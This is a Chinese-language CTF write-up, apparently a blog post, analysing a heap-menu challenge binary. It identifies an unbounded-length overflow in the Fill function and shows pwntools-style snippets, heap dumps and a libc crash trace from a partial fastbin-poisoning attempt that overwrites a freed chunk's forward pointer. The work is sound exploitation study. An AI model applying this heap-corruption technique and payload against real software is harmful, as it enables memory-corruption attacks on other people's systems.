Perface

程序又是很简单(为什么我要说又)

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

就这几个步骤,并且程序利用的是

.rodata:0000563DD51224F4 ; _DWORD dword_563DD51224F4[6]
.rodata:0000563DD51224F4 dword_563DD51224F4 dd 0FFFFFCB9h, 0FFFFFC7Ah, 0FFFFFC88h, 0FFFFFC96h, 0FFFFFCA4h

这里的这样的偏移表来跳转的orz

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

got表不可修改,所有保护全开(这里实际上栈保护也是开的,不知道为什么没有检测出来)

struct

主要结构也很简单

struct tmp
{
    main_stru mstru[16];    //...[0, 15]
};


struct main_stru
{
    1;  // used
    int8 length;
    byte *calo_buf;     // max l 0x1000
};

在开始的地方用随机数运算到了一个地址值,然后再这个地址值里放16组结构,这里标记为tmp。

每组结构一样,标记为main stru,这个结构就三个元素,标记、长度、字符串指针。

Allocate

从mstru0~15遍历,遇到标记used为0的状况下,就用calloc申请size大小空间,size大小根据输入来,但是size限制在 0~0x1000 的范围内,不存在整数溢出。创建完后即可返回

Fill

漏洞所在处

也是先便利mstru,找used为1的,然后根据输入的size填充堆。

size没有限制,而根据堆分配的原则,堆一般紧挨着,就是说,size超长了可以覆盖下一个堆,即对应下一个calo buf指向的空间。

由于堆块信息,可以利用后面的free触发unlink

Free

先检查used位是否为1,如果为1才进行释放。将used、flag先置0,然后free,然后calo buf指针清0

Dump

输出对应index的calo buf指向的字符串,输出通过write,长度为length

Thinking

max强力保护。程序又是按堆来的。本来想unlink,只能更改有限的字节,并且程序中存指针那块的地址是随机的,不太好操作。无意间看到how2heap的一个。通过覆盖fastbin从而拿到任意地址读写权限

test

首先看看内存分配

我先创建了几个fastbin

def bab_leak(io):
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_fill(io, 2, 0x8, "df".ljust(8, '2'))
    bab_fill(io, 3, 0x8, "df".ljust(8, '3'))

然后看到内存布局如下

0000559DE0A54000  0000000000000000 0000000000000021  ........!.......
0000559DE0A54010  0000000000000000 0000000000000000  ................
0000559DE0A54020  0000000000000000 0000000000000021  ........!.......
0000559DE0A54030  0000000000000000 0000000000000000  ................
0000559DE0A54040  0000000000000000 0000000000000021  ........!.......
0000559DE0A54050  3232323232326664 0000000000000000  df222222........
0000559DE0A54060  0000000000000000 0000000000000021  ........!.......
0000559DE0A54070  3333333333336664 0000000000000000  df333333........
0000559DE0A54080  0000000000000000 0000000000000021  ........!.......
0000559DE0A54090  0000000000000000 0000000000000000  ................
0000559DE0A540A0  0000000000000000 0000000000020F61  ........a.......

接下来释放

    bab_free(io, 2)
    bab_free(io, 3)

可以看到fastbin但链表就有了

0000559DE0A54000  0000000000000000 0000000000000021  ........!.......
0000559DE0A54010  0000000000000000 0000000000000000  ................
0000559DE0A54020  0000000000000000 0000000000000021  ........!.......
0000559DE0A54030  0000000000000000 0000000000000000  ................
0000559DE0A54040  0000000000000000 0000000000000021  ........!.......
0000559DE0A54050  0000000000000000 0000000000000000  ................
0000559DE0A54060  0000000000000000 0000000000000021  ........!.......
0000559DE0A54070  0000559DE0A54040 0000000000000000  @@...U..........
0000559DE0A54080  0000000000000000 0000000000000021  ........!.......
0000559DE0A54090  0000000000000000 0000000000000000  ................
0000559DE0A540A0  0000000000000000 0000000000020F61  ........a.......

fastbin是LIFO,后进先出。fastbin即使free之后,其P标志也是不会清0的

释放完之后立马覆盖fastbin第一个的pre fastbin指针。即上面的0x0000559DE0A54050,本应该是0,但是改成一个地址之后,就相当于伪造了一个fastbin了。

    payload = "df".ljust(8, '1') + p64(0) + p64(0) + p64(0x20) + p64(0x555555555555)    # 555555543000
    bab_fill(io, 1, len(payload), payload)
    raw_input("fffffffff")
    bab_alloc(io, 0x08)
    bab_alloc(io, 0x08)
    bab_alloc(io, 0x08)

由于随便构造了地址,在下面的地方出现地址不可访问

libc_2.23.so:00007FB4131552CF mov     r8, [rcx+10h]
libc_2.23.so:00007FB4131552D3 mov     rax, rcx
libc_2.23.so:00007FB4131552D6 cmp     dword ptr fs:18h, 0
libc_2.23.so:00007FB4131552DF jz      short loc_7FB4131552E2
libc_2.23.so:00007FB4131552E1 lock

此时寄存器信息

RAX 0000000000000000
RBX 00007FB413497B20 libc_2.23.so:__malloc_hook+10
RCX 0000555555555555

interesting!!!. malloc想去申请0x555555555555了2333.。然而。。地址随机化比较麻烦。。

results matching ""

    No results matching ""